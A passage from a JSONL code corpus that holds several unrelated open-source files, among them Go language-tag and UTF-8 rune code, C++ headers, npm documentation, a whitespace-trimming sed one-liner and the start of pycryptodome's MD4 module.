{\n\treturn s.i[i] < s.i[j]\n}\n\ntype bytesSort [][]byte\n\nfunc (b bytesSort) Len() int {\n\treturn len(b)\n}\n\nfunc (b bytesSort) Swap(i, j int) {\n\tb[i], b[j] = b[j], b[i]\n}\n\nfunc (b bytesSort) Less(i, j int) bool {\n\treturn bytes.Compare(b[i], b[j]) == -1\n}\n\n// parseExtensions parses and normalizes the extensions in the buffer.\n// It returns the last position of scan.b that is part of any extension.\n// It also trims scan.b to remove excess parts accordingly.\nfunc parseExtensions(scan *scanner) int {\n\tstart := scan.start\n\texts := [][]byte{}\n\tprivate := []byte{}\n\tend := scan.end\n\tfor len(scan.token) == 1 {\n\t\textStart := scan.start\n\t\text := scan.token[0]\n\t\tend = parseExtension(scan)\n\t\textension := scan.b[extStart:end]\n\t\tif len(extension) < 3 || (ext != 'x' && len(extension) < 4) {\n\t\t\tscan.setError(errSyntax)\n\t\t\tend = extStart\n\t\t\tcontinue\n\t\t} else if start == extStart && (ext == 'x' || scan.start == len(scan.b)) {\n\t\t\tscan.b = scan.b[:end]\n\t\t\treturn end\n\t\t} else if ext == 'x' {\n\t\t\tprivate = extension\n\t\t\tbreak\n\t\t}\n\t\texts = append(exts, extension)\n\t}\n\tsort.Sort(bytesSort(exts))\n\tif len(private) > 0 {\n\t\texts = append(exts, private)\n\t}\n\tscan.b = scan.b[:start]\n\tif len(exts) > 0 {\n\t\tscan.b = append(scan.b, bytes.Join(exts, separator)...)\n\t} else if start > 0 {\n\t\t// Strip trailing '-'.\n\t\tscan.b = scan.b[:start-1]\n\t}\n\treturn end\n}\n\n// parseExtension parses a single extension and returns the position of\n// the extension end.\nfunc parseExtension(scan *scanner) int {\n\tstart, end := scan.start, scan.end\n\tswitch scan.token[0] {\n\tcase 'u':\n\t\tattrStart := end\n\t\tscan.scan()\n\t\tfor last := []byte{}; len(scan.token) > 2; scan.scan() {\n\t\t\tif bytes.Compare(scan.token, last) != -1 {\n\t\t\t\t// Attributes are unsorted. Start over from scratch.\n\t\t\t\tp := attrStart + 1\n\t\t\t\tscan.next = p\n\t\t\t\tattrs := [][]byte{}\n\t\t\t\tfor scan.scan(); len(scan.token) > 2; scan.scan() {\n\t\t\t\t\tattrs = append(attrs, scan.token)\n\t\t\t\t\tend = scan.end\n\t\t\t\t}\n\t\t\t\tsort.Sort(bytesSort(attrs))\n\t\t\t\tcopy(scan.b[p:], bytes.Join(attrs, separator))\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tlast = scan.token\n\t\t\tend = scan.end\n\t\t}\n\t\tvar last, key []byte\n\t\tfor attrEnd := end; len(scan.token) == 2; last = key {\n\t\t\tkey = scan.token\n\t\t\tkeyEnd := scan.end\n\t\t\tend = scan.acceptMinSize(3)\n\t\t\t// TODO: check key value validity\n\t\t\tif keyEnd == end || bytes.Compare(key, last) != 1 {\n\t\t\t\t// We have an invalid key or the keys are not sorted.\n\t\t\t\t// Start scanning keys from scratch and reorder.\n\t\t\t\tp := attrEnd + 1\n\t\t\t\tscan.next = p\n\t\t\t\tkeys := [][]byte{}\n\t\t\t\tfor scan.scan(); len(scan.token) == 2; {\n\t\t\t\t\tkeyStart, keyEnd := scan.start, scan.end\n\t\t\t\t\tend = scan.acceptMinSize(3)\n\t\t\t\t\tif keyEnd != end {\n\t\t\t\t\t\tkeys = append(keys, scan.b[keyStart:end])\n\t\t\t\t\t} else {\n\t\t\t\t\t\tscan.setError(errSyntax)\n\t\t\t\t\t\tend = keyStart\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tsort.Sort(bytesSort(keys))\n\t\t\t\treordered := bytes.Join(keys, separator)\n\t\t\t\tif e := p + len(reordered); e < end {\n\t\t\t\t\tscan.deleteRange(e, end)\n\t\t\t\t\tend = e\n\t\t\t\t}\n\t\t\t\tcopy(scan.b[p:], bytes.Join(keys, separator))\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\tcase 't':\n\t\tscan.scan()\n\t\tif n := len(scan.token); n >= 2 && n <= 3 && isAlpha(scan.token[1]) {\n\t\t\t_, end = parseTag(scan)\n\t\t\tscan.toLower(start, end)\n\t\t}\n\t\tfor len(scan.token) == 2 && !isAlpha(scan.token[1]) {\n\t\t\tend = scan.acceptMinSize(3)\n\t\t}\n\tcase 'x':\n\t\tend = scan.acceptMinSize(1)\n\tdefault:\n\t\tend = scan.acceptMinSize(2)\n\t}\n\treturn end\n}\n\n// Compose creates a Tag from individual parts, which may be of type Tag, Base,\n// Script, Region, Variant, []Variant, Extension, []Extension or error. If a\n// Base, Script or Region or slice of type Variant or Extension is passed more\n// than once, the latter will overwrite the former. Variants and Extensions are\n// accumulated, but if two extensions of the same type are passed, the latter\n// will replace the former. A Tag overwrites all former values and typically\n// only makes sense as the first argument. The resulting tag is returned after\n// canonicalizing using the Default CanonType. If one or more errors are\n// encountered, one of the errors is returned.\nfunc Compose(part ...interface{}) (t Tag, err error) {\n\treturn Default.Compose(part...)\n}\n\n// Compose creates a Tag from individual parts, which may be of type Tag, Base,\n// Script, Region, Variant, []Variant, Extension, []Extension or error. If a\n// Base, Script or Region or slice of type Variant or Extension is passed more\n// than once, the latter will overwrite the former. Variants and Extensions are\n// accumulated, but if two extensions of the same type are passed, the latter\n// will replace the former. A Tag overwrites all former values and typically\n// only makes sense as the first argument. The resulting tag is returned after\n// canonicalizing using CanonType c. If one or more errors are encountered,\n// one of the errors is returned.\nfunc (c CanonType) Compose(part ...interface{}) (t Tag, err error) {\n\tvar b builder\n\tif err = b.update(part...); err != nil {\n\t\treturn und, err\n\t}\n\tt, _ = b.tag.canonicalize(c)\n\n\tif len(b.ext) > 0 || len(b.variant) > 0 {\n\t\tsort.Sort(sortVariant(b.variant))\n\t\tsort.Strings(b.ext)\n\t\tif b.private != \"\" {\n\t\t\tb.ext = append(b.ext, b.private)\n\t\t}\n\t\tn := maxCoreSize + tokenLen(b.variant...) + tokenLen(b.ext...)\n\t\tbuf := make([]byte, n)\n\t\tp := t.genCoreBytes(buf)\n\t\tt.pVariant = byte(p)\n\t\tp += appendTokens(buf[p:], b.variant...)\n\t\tt.pExt = uint16(p)\n\t\tp += appendTokens(buf[p:], b.ext...)\n\t\tt.str = string(buf[:p])\n\t} else if b.private != \"\" {\n\t\tt.str = b.private\n\t\tt.remakeString()\n\t}\n\treturn\n}\n\ntype builder struct {\n\ttag Tag\n\n\tprivate string // the x extension\n\text []string\n\tvariant []string\n\n\terr error\n}\n\nfunc (b *builder) addExt(e string) {\n\tif e == \"\" {\n\t} else if e[0] == 'x' {\n\t\tb.private = e\n\t} else {\n\t\tb.ext = append(b.ext, e)\n\t}\n}\n\nvar errInvalidArgument = errors.New(\"invalid Extension or Variant\")\n\nfunc (b *builder) update(part ...interface{}) (err error) {\n\treplace := func(l *[]string, s string, eq func(a, b string) bool) bool {\n\t\tif s == \"\" {\n\t\t\tb.err = errInvalidArgument\n\t\t\treturn true\n\t\t}\n\t\tfor i, v := range *l {\n\t\t\tif eq(v, s) {\n\t\t\t\t(*l)[i] = s\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t\treturn false\n\t}\n\tfor _, x := range part {\n\t\tswitch v := x.(type) {\n\t\tcase Tag:\n\t\t\tb.tag.lang = v.lang\n\t\t\tb.tag.region = v.region\n\t\t\tb.tag.script = v.script\n\t\t\tif v.str != \"\" {\n\t\t\t\tb.variant = nil\n\t\t\t\tfor x, s := \"\", v.str[v.pVariant:v.pExt]; s != \"\"; {\n\t\t\t\t\tx, s = nextToken(s)\n\t\t\t\t\tb.variant = append(b.variant, x)\n\t\t\t\t}\n\t\t\t\tb.ext, b.private = nil, \"\"\n\t\t\t\tfor i, e := int(v.pExt), \"\"; i < len(v.str); {\n\t\t\t\t\ti, e = getExtension(v.str, i)\n\t\t\t\t\tb.addExt(e)\n\t\t\t\t}\n\t\t\t}\n\t\tcase Base:\n\t\t\tb.tag.lang = v.langID\n\t\tcase Script:\n\t\t\tb.tag.script = v.scriptID\n\t\tcase Region:\n\t\t\tb.tag.region = v.regionID\n\t\tcase Variant:\n\t\t\tif !replace(&b.variant, v.variant, func(a, b string) bool { return a == b }) {\n\t\t\t\tb.variant = append(b.variant, v.variant)\n\t\t\t}\n\t\tcase Extension:\n\t\t\tif !replace(&b.ext, v.s, func(a, b string) bool { return a[0] == b[0] }) {\n\t\t\t\tb.addExt(v.s)\n\t\t\t}\n\t\tcase []Variant:\n\t\t\tb.variant = nil\n\t\t\tfor _, x := range v {\n\t\t\t\tb.update(x)\n\t\t\t}\n\t\tcase []Extension:\n\t\t\tb.ext, b.private = nil, \"\"\n\t\t\tfor _, e := range v {\n\t\t\t\tb.update(e)\n\t\t\t}\n\t\t// TODO: support parsing of raw strings based on morphology or just extensions?\n\t\tcase error:\n\t\t\terr = v\n\t\t}\n\t}\n\treturn\n}\n\nfunc tokenLen(token ...string) (n int) {\n\tfor _, t := range token {\n\t\tn += len(t) + 1\n\t}\n\treturn\n}\n\nfunc appendTokens(b []byte, token ...string) int {\n\tp := 0\n\tfor _, t := range token {\n\t\tb[p] = '-'\n\t\tcopy(b[p+1:], t)\n\t\tp += 1 + len(t)\n\t}\n\treturn p\n}\n\ntype sortVariant []string\n\nfunc (s sortVariant) Len() int {\n\treturn len(s)\n}\n\nfunc (s sortVariant) Swap(i, j int) {\n\ts[j], s[i] = s[i], s[j]\n}\n\nfunc (s sortVariant) Less(i, j int) bool {\n\treturn variantIndex[s[i]] < variantIndex[s[j]]\n}\n\nfunc findExt(list []string, x byte) int {\n\tfor i, e := range list {\n\t\tif e[0] == x {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}\n\n// getExtension returns the name, body and end position of the extension.\nfunc getExtension(s string, p int) (end int, ext string) {\n\tif s[p] == '-' {\n\t\tp++\n\t}\n\tif s[p] == 'x' {\n\t\treturn len(s), s[p:]\n\t}\n\tend = nextExtension(s, p)\n\treturn end, s[p:end]\n}\n\n// nextExtension finds the next extension within the string, searching\n// for the -- pattern from position p.\n// In the fast majority of cases, language tags will have at most\n// one extension and extensions tend to be small.\nfunc nextExtension(s string, p int) int {\n\tfor n := len(s) - 3; p < n; {\n\t\tif s[p] == '-' {\n\t\t\tif s[p+2] == '-' {\n\t\t\t\treturn p\n\t\t\t}\n\t\t\tp += 3\n\t\t} else {\n\t\t\tp++\n\t\t}\n\t}\n\treturn len(s)\n}\n\nvar errInvalidWeight = errors.New(\"ParseAcceptLanguage: invalid weight\")\n\n// ParseAcceptLanguage parses the contents of a Accept-Language header as\n// defined in http://www.ietf.org/rfc/rfc2616.txt and returns a list of Tags and\n// a list of corresponding quality weights. It is more permissive than RFC 2616\n// and may return non-nil slices even if the input is not valid.\n// The Tags will be sorted by highest weight first and then by first occurrence.\n// Tags with a weight of zero will be dropped. An error will be returned if the\n// input could not be parsed.\nfunc ParseAcceptLanguage(s string) (tag []Tag, q []float32, err error) {\n\tvar entry string\n\tfor s != \"\" {\n\t\tif entry, s = split(s, ','); entry == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tentry, weight := split(entry, ';')\n\n\t\t// Scan the language.\n\t\tt, err := Parse(entry)\n\t\tif err != nil {\n\t\t\tid, ok := acceptFallback[entry]\n\t\t\tif !ok {\n\t\t\t\treturn nil, nil, err\n\t\t\t}\n\t\t\tt = Tag{lang: id}\n\t\t}\n\n\t\t// Scan the optional weight.\n\t\tw := 1.0\n\t\tif weight != \"\" {\n\t\t\tweight = consume(weight, 'q')\n\t\t\tweight = consume(weight, '=')\n\t\t\t// consume returns the empty string when a token could not be\n\t\t\t// consumed, resulting in an error for ParseFloat.\n\t\t\tif w, err = strconv.ParseFloat(weight, 32); err != nil {\n\t\t\t\treturn nil, nil, errInvalidWeight\n\t\t\t}\n\t\t\t// Drop tags with a quality weight of 0.\n\t\t\tif w <= 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\ttag = append(tag, t)\n\t\tq = append(q, float32(w))\n\t}\n\tsortStable(&tagSort{tag, q})\n\treturn tag, q, nil\n}\n\n// consume removes a leading token c from s and returns the result or the empty\n// string if there is no such token.\nfunc consume(s string, c byte) string {\n\tif s == \"\" || s[0] != c {\n\t\treturn \"\"\n\t}\n\treturn strings.TrimSpace(s[1:])\n}\n\nfunc split(s string, c byte) (head, tail string) {\n\tif i := strings.IndexByte(s, c); i >= 0 {\n\t\treturn strings.TrimSpace(s[:i]), strings.TrimSpace(s[i+1:])\n\t}\n\treturn strings.TrimSpace(s), \"\"\n}\n\n// Add hack mapping to deal with a small number of cases that that occur\n// in Accept-Language (with reasonable frequency).\nvar acceptFallback = map[string]langID{\n\t\"english\": _en,\n\t\"deutsch\": _de,\n\t\"italian\": _it,\n\t\"french\": _fr,\n\t\"*\": _mul, // defined in the spec to match all languages.\n}\n\ntype tagSort struct {\n\ttag []Tag\n\tq []float32\n}\n\nfunc (s *tagSort) Len() int {\n\treturn len(s.q)\n}\n\nfunc (s *tagSort) Less(i, j int) bool {\n\treturn s.q[i] > s.q[j]\n}\n\nfunc (s *tagSort) Swap(i, j int) {\n\ts.tag[i], s.tag[j] = s.tag[j], s.tag[i]\n\ts.q[i], s.q[j] = s.q[j], s.q[i]\n}\n"} +{"text": "/* \r\n Copyright 2013 KLab Inc.\r\n\r\n Licensed under the Apache License, Version 2.0 (the \"License\");\r\n you may not use this file except in compliance with the License.\r\n You may obtain a copy of the License at\r\n\r\n http://www.apache.org/licenses/LICENSE-2.0\r\n\r\n Unless required by applicable law or agreed to in writing, software\r\n distributed under the License is distributed on an \"AS IS\" BASIS,\r\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n See the License for the specific language governing permissions and\r\n limitations under the License.\r\n*/\r\n#ifndef CKLBAsyncLoader_h\r\n#define CKLBAsyncLoader_h\r\n\r\n#include \"CKLBLuaPropTask.h\"\r\n\r\n/*!\r\n* \\class CKLBAsyncLoader\r\n* \\brief Asynchronus Loader Task class\r\n* \r\n* Loading resources can be a long task for the Game and make it long to load some scenes.\r\n* In order to be able to keep on processing the Game Logic while loading resources, \r\n* CKLBAsyncLoader has been implemented.\r\n* It allows the Engine to load resources through another thread.\r\n* \r\n* To copy a file in an asynchronous way, see CKLBAsyncLoader.\r\n*/\r\nclass CKLBAsyncLoader : public CKLBLuaPropTask\r\n{\r\n\tfriend class CKLBTaskFactory;\r\nprivate:\r\n\tCKLBAsyncLoader();\r\n\tvirtual ~CKLBAsyncLoader();\r\n\r\n\tbool init(CKLBTask* pParentTask, const char** assets, u32 count, u32 datasetID, const char* callback);\r\npublic:\r\n\tstatic CKLBAsyncLoader* create(CKLBTask* pParentTask, const char** assets, u32 count, u32 datasetID, const char* callback);\r\n\r\n\tbool\t\tinitScript\t\t(CLuaState& lua);\r\n\r\n\tvoid\t\texecute\t\t\t(u32 deltaT);\r\n\tvoid\t\tdie\t\t\t\t();\r\n\r\n\tvirtual u32 getClassID\t\t();\r\n\r\n\tinline u32\tgetTotalCount\t()\t\t{ return m_count;\t}\r\n\r\n\tinline u32\tgetProcessCount\t()\t{ return m_done;\t}\r\n\r\nprivate:\r\n\tstatic s32 ThreadLoader(void * hThread, void * data);\r\n\tCKLBAssetManager::SAsset*\tm_pAssets;\r\n\tvolatile bool\t\t\t\tm_alive;\r\n\tconst char\t*\t\t\t\tm_callback;\r\n\tCKLBDataSet *\t\t\t\tm_pDataSet;\r\n\tvoid*\t\t\t\t\t\tm_thread;\r\n\tu32\t\t\t\t\t\t\tm_done;\r\n\tu32\t\t\t\t\t\t\tm_lastdone;\r\n\tu32\t\t\t\t\t\t\tm_error;\r\n\tu32\t\t\t\t\t\t\tm_count;\r\n\tstatic\tPROP_V2\t\t\t\tms_propItems[];\r\n};\r\n\r\n\r\n#endif // CKLBIntervalTimer_h\r\n"} +{"text": "local kube = import \"../kube.libsonnet\";\nlocal stack = {\n sealedsecret: kube.SealedSecret(\"foo\") {\n spec+: {\n bar: std.parseJson(importstr \"test-sealedsecrets.json\"),\n },\n },\n};\n\nkube.List() {\n items_+: stack,\n}\n"} +{"text": "\n\n npm-test\n \n \n \n \n\n \n
    \n\n

    npm-test

    Test a package

    \n

    SYNOPSIS

    \n
      npm test [-- <args>]\n\n  aliases: t, tst\n

    DESCRIPTION

    \n

    This runs a package's "test" script, if one was provided.

    \n

    To run tests as a condition of installation, set the npat config to\ntrue.

    \n

    SEE ALSO

    \n\n\n
    \n\n\n\n\n\n\n\n\n\n\n

    npm-test — npm@2.15.12

    \n\n"} +{"text": "Problem\n===\n\nGiven two strings S and T, determine if they are both one edit distance apart.\n\nHint:\n\n1. If | n – m | is greater than 1, we know immediately both are not one-edit distance apart.\n\n2. It might help if you consider these cases separately, m == n and m ≠ n.\n\n3. Assume that m is always ≤ n, which greatly simplifies the conditional statements. If m > n, we could just simply swap S and T.\n\n4. If m == n, it becomes finding if there is exactly one modified operation. If m ≠ n, you do not have to consider the delete operation. Just consider the insert operation in T.\n\nSolution\n===\n\nTwo pointers sliding"} +{"text": "/*\n * The authors of this software are Rob Pike and Ken Thompson.\n * Copyright (c) 2002 by Lucent Technologies.\n * Portions Copyright 2009 The Go Authors. All rights reserved.\n * Permission to use, copy, modify, and distribute this software for any\n * purpose without fee is hereby granted, provided that this entire notice\n * is included in all copies of any software which is or includes a copy\n * or modification of this software and in all copies of the supporting\n * documentation for such software.\n * THIS SOFTWARE IS BEING PROVIDED \"AS IS\", WITHOUT ANY EXPRESS OR IMPLIED\n * WARRANTY. IN PARTICULAR, NEITHER THE AUTHORS NOR LUCENT TECHNOLOGIES MAKE ANY\n * REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY\n * OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE.\n */\n\n/*\n * This code is copied, with slight editing due to type differences,\n * from a subset of ../lib9/utf/rune.c [which no longer exists]\n */\n\npackage runtime\n\nconst (\n\tbit1 = 7\n\tbitx = 6\n\tbit2 = 5\n\tbit3 = 4\n\tbit4 = 3\n\tbit5 = 2\n\n\tt1 = ((1 << (bit1 + 1)) - 1) ^ 0xFF /* 0000 0000 */\n\ttx = ((1 << (bitx + 1)) - 1) ^ 0xFF /* 1000 0000 */\n\tt2 = ((1 << (bit2 + 1)) - 1) ^ 0xFF /* 1100 0000 */\n\tt3 = ((1 << (bit3 + 1)) - 1) ^ 0xFF /* 1110 0000 */\n\tt4 = ((1 << (bit4 + 1)) - 1) ^ 0xFF /* 1111 0000 */\n\tt5 = ((1 << (bit5 + 1)) - 1) ^ 0xFF /* 1111 1000 */\n\n\trune1 = (1 << (bit1 + 0*bitx)) - 1 /* 0000 0000 0111 1111 */\n\trune2 = (1 << (bit2 + 1*bitx)) - 1 /* 0000 0111 1111 1111 */\n\trune3 = (1 << (bit3 + 2*bitx)) - 1 /* 1111 1111 1111 1111 */\n\trune4 = (1 << (bit4 + 3*bitx)) - 1 /* 0001 1111 1111 1111 1111 1111 */\n\n\tmaskx = (1 << bitx) - 1 /* 0011 1111 */\n\ttestx = maskx ^ 0xFF /* 1100 0000 */\n\n\truneerror = 0xFFFD\n\truneself = 0x80\n\n\tsurrogateMin = 0xD800\n\tsurrogateMax = 0xDFFF\n\n\tbad = runeerror\n\n\trunemax = 0x10FFFF /* maximum rune value */\n)\n\n/*\n * Modified by Wei-Hwa Huang, Google Inc., on 2004-09-24\n * This is a slower but \"safe\" version of the old chartorune\n * that works on strings that are not necessarily null-terminated.\n *\n * If you know for sure that your string is null-terminated,\n * chartorune will be a bit faster.\n *\n * It is guaranteed not to attempt to access \"length\"\n * past the incoming pointer. This is to avoid\n * possible access violations. If the string appears to be\n * well-formed but incomplete (i.e., to get the whole Rune\n * we'd need to read past str+length) then we'll set the Rune\n * to Bad and return 0.\n *\n * Note that if we have decoding problems for other\n * reasons, we return 1 instead of 0.\n */\nfunc charntorune(s string) (rune, int) {\n\t/* When we're not allowed to read anything */\n\tif len(s) <= 0 {\n\t\treturn bad, 1\n\t}\n\n\t/*\n\t * one character sequence (7-bit value)\n\t *\t00000-0007F => T1\n\t */\n\tc := s[0]\n\tif c < tx {\n\t\treturn rune(c), 1\n\t}\n\n\t// If we can't read more than one character we must stop\n\tif len(s) <= 1 {\n\t\treturn bad, 1\n\t}\n\n\t/*\n\t * two character sequence (11-bit value)\n\t *\t0080-07FF => t2 tx\n\t */\n\tc1 := s[1] ^ tx\n\tif (c1 & testx) != 0 {\n\t\treturn bad, 1\n\t}\n\tif c < t3 {\n\t\tif c < t2 {\n\t\t\treturn bad, 1\n\t\t}\n\t\tl := ((rune(c) << bitx) | rune(c1)) & rune2\n\t\tif l <= rune1 {\n\t\t\treturn bad, 1\n\t\t}\n\t\treturn l, 2\n\t}\n\n\t// If we can't read more than two characters we must stop\n\tif len(s) <= 2 {\n\t\treturn bad, 1\n\t}\n\n\t/*\n\t * three character sequence (16-bit value)\n\t *\t0800-FFFF => t3 tx tx\n\t */\n\tc2 := s[2] ^ tx\n\tif (c2 & testx) != 0 {\n\t\treturn bad, 1\n\t}\n\tif c < t4 {\n\t\tl := ((((rune(c) << bitx) | rune(c1)) << bitx) | rune(c2)) & rune3\n\t\tif l <= rune2 {\n\t\t\treturn bad, 1\n\t\t}\n\t\tif surrogateMin <= l && l <= surrogateMax {\n\t\t\treturn bad, 1\n\t\t}\n\t\treturn l, 3\n\t}\n\n\tif len(s) <= 3 {\n\t\treturn bad, 1\n\t}\n\n\t/*\n\t * four character sequence (21-bit value)\n\t *\t10000-1FFFFF => t4 tx tx tx\n\t */\n\tc3 := s[3] ^ tx\n\tif (c3 & testx) != 0 {\n\t\treturn bad, 1\n\t}\n\tif c < t5 {\n\t\tl := ((((((rune(c) << bitx) | rune(c1)) << bitx) | rune(c2)) << bitx) | rune(c3)) & rune4\n\t\tif l <= rune3 || l > runemax {\n\t\t\treturn bad, 1\n\t\t}\n\t\treturn l, 4\n\t}\n\n\t// Support for 5-byte or longer UTF-8 would go here, but\n\t// since we don't have that, we'll just return bad.\n\treturn bad, 1\n}\n\n// runetochar converts r to bytes and writes the result to str.\n// returns the number of bytes generated.\nfunc runetochar(str []byte, r rune) int {\n\t/* runes are signed, so convert to unsigned for range check. */\n\tc := uint32(r)\n\t/*\n\t * one character sequence\n\t *\t00000-0007F => 00-7F\n\t */\n\tif c <= rune1 {\n\t\tstr[0] = byte(c)\n\t\treturn 1\n\t}\n\t/*\n\t * two character sequence\n\t *\t0080-07FF => t2 tx\n\t */\n\tif c <= rune2 {\n\t\tstr[0] = byte(t2 | (c >> (1 * bitx)))\n\t\tstr[1] = byte(tx | (c & maskx))\n\t\treturn 2\n\t}\n\n\t/*\n\t * If the rune is out of range or a surrogate half, convert it to the error rune.\n\t * Do this test here because the error rune encodes to three bytes.\n\t * Doing it earlier would duplicate work, since an out of range\n\t * rune wouldn't have fit in one or two bytes.\n\t */\n\tif c > runemax {\n\t\tc = runeerror\n\t}\n\tif surrogateMin <= c && c <= surrogateMax {\n\t\tc = runeerror\n\t}\n\n\t/*\n\t * three character sequence\n\t *\t0800-FFFF => t3 tx tx\n\t */\n\tif c <= rune3 {\n\t\tstr[0] = byte(t3 | (c >> (2 * bitx)))\n\t\tstr[1] = byte(tx | ((c >> (1 * bitx)) & maskx))\n\t\tstr[2] = byte(tx | (c & maskx))\n\t\treturn 3\n\t}\n\n\t/*\n\t * four character sequence (21-bit value)\n\t * 10000-1FFFFF => t4 tx tx tx\n\t */\n\tstr[0] = byte(t4 | (c >> (3 * bitx)))\n\tstr[1] = byte(tx | ((c >> (2 * bitx)) & maskx))\n\tstr[2] = byte(tx | ((c >> (1 * bitx)) & maskx))\n\tstr[3] = byte(tx | (c & maskx))\n\treturn 4\n}\n"} +{"text": "#ifndef COOLFluiD_Numerics_SpectralFD_FaceDiffusiveFlux_hh\n#define COOLFluiD_Numerics_SpectralFD_FaceDiffusiveFlux_hh\n\n//////////////////////////////////////////////////////////////////////////////\n\n#include \"Framework/BaseMethodStrategyProvider.hh\"\n#include \"Framework/DiffusiveVarSet.hh\"\n\n#include \"SpectralFD/SpectralFDMethodData.hh\"\n\n//////////////////////////////////////////////////////////////////////////////\n\nnamespace COOLFluiD {\n namespace SpectralFD {\n\n//////////////////////////////////////////////////////////////////////////////\n\n/**\n * This class represents a strategy that computes the averaged diffusive flux on a face\n *\n * @author Kris Van den Abeele\n */\nclass FaceDiffusiveFlux : public SpectralFDMethodStrategy {\n\npublic: // types\n\n typedef Framework::BaseMethodStrategyProvider<\n SpectralFDMethodData,FaceDiffusiveFlux > PROVIDER;\n\npublic: // methods\n\n /// Constructor\n FaceDiffusiveFlux(const std::string& name);\n\n /// Destructor\n ~FaceDiffusiveFlux();\n\n /// Compute averaged gradient variables in a series of flux points, from left and right states and face normal\n virtual std::vector< RealVector >& computeAvgGradVars(std::vector< RealVector* >& lStates,\n std::vector< RealVector* >& rStates,\n const CFuint nbrFlxPnts) = 0;\n\n /// Compute the averaged diffusive flux in a series of flux points,\n /// from left and right gradients and states and a normal vector\n virtual std::vector< RealVector >& computeDiffFlux(std::vector< std::vector< RealVector* >* >& lGrads,\n std::vector< std::vector< RealVector* >* >& rGrads,\n std::vector< RealVector* >& lStates,\n std::vector< RealVector* >& rStates,\n const std::vector< CFreal >& faceInvCharLength,\n const std::vector< RealVector >& normal,\n const CFuint nbrFlxPnts) = 0;\n\n /// Gets the Class name\n static std::string getClassName()\n {\n return \"FaceDiffusiveFlux\";\n }\n \n /// Gets the polymorphic type name\n virtual std::string getPolymorphicTypeName() {return getClassName();}\n \n /// Setup private data\n virtual void setup();\n\n /// Unsetup private data\n virtual void unsetup();\n\n /// Set the maximum number of points the Riemann flux will be evaluated in simultaneously\n void setMaxNbrFlxPnts(const CFuint maxNbrFlxPnts)\n {\n m_maxNbrFlxPnts = maxNbrFlxPnts;\n }\n\nprotected: // data\n\n /// diffusive variable set\n Common::SafePtr< Framework::DiffusiveVarSet > m_diffusiveVarSet;\n\n /// maximum number of flux points the diffusive face flux has to be evaluated for simultaneously\n CFuint m_maxNbrFlxPnts;\n\n /// variable for multiple diffusive face fluxes\n std::vector< RealVector > m_multiDiffFlux;\n\n /// number of equations in the physical model\n CFuint m_nbrEqs;\n\n}; // class FaceDiffusiveFlux\n\n//////////////////////////////////////////////////////////////////////////////\n\n } // namespace SpectralFD\n\n} // namespace COOLFluiD\n\n//////////////////////////////////////////////////////////////////////////////\n\n#endif // COOLFluiD_Numerics_SpectralFD_FaceDiffusiveFlux_hh\n\n"} +{"text": "commandlinefu_id: 6428\ntranslator:\n weibo: ''\nhide: true\ncommand: |-\n sed 's/^[ \\t]*//;s/[ \\t]*$//' -i file\nsummary: |-\n delete all leading and trailing whitespace from each line in file\n"} +{"text": "# ===================================================================\n#\n# Copyright (c) 2014, Legrandin \n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n# ===================================================================\n\n\"\"\"\nMD4 is specified in RFC1320_ and produces the 128 bit digest of a message.\n\n >>> from Crypto.Hash import MD4\n >>>\n >>> h = MD4.new()\n >>> h.update(b'Hello')\n >>> print h.hexdigest()\n\nMD4 stand for Message Digest version 4, and it was invented by Rivest in 1990.\nThis algorithm is insecure. Do not use it for new designs.\n\n.. _RFC1320: http://tools.ietf.org/html/rfc1320\n\"\"\"\n\nfrom Crypto.Util.py3compat import bord\n\nfrom Crypto.Util._raw_api import (load_pycryptodome_raw_lib,\n VoidPointer, SmartPointer,\n create_string_buffer,\n get_raw_buffer, c_size_t,\n c_uint8_ptr)\n\n_raw_md4_lib = load_pycryptodome_raw_lib(\n \"Crypto.Hash._MD4\",\n \"\"\"\n int md4_init(void **shaState);\n int md4_destroy(void *shaState);\n int md4_update(void *hs,\n const uint8_t *buf,\n size_t len);\n int md4_digest(const void *shaState,\n uint8_t digest[20]);\n int md4_copy(const void *src, void *dst);\n \"\"\")\n\n\nclass MD4Hash(object):\n \"\"\"Class that implements an MD4 hash\n \"\"\"\n\n #: The size of the resulting hash in bytes.\n digest_size = 16\n #: The internal block size of the hash algorithm in bytes.\n block_size = 64\n #: ASN.1 Object ID\n oid = \"1.2.840.113549.2.4\"\n\n def __init__(self, data=None):\n state = VoidPointer()\n result = _raw_md4_lib.md4_init(state.address_of())\n if result:\n raise ValueError(\"Error %d while instantiating MD4\"\n % result)\n self._state = SmartPointer(state.get(),\n 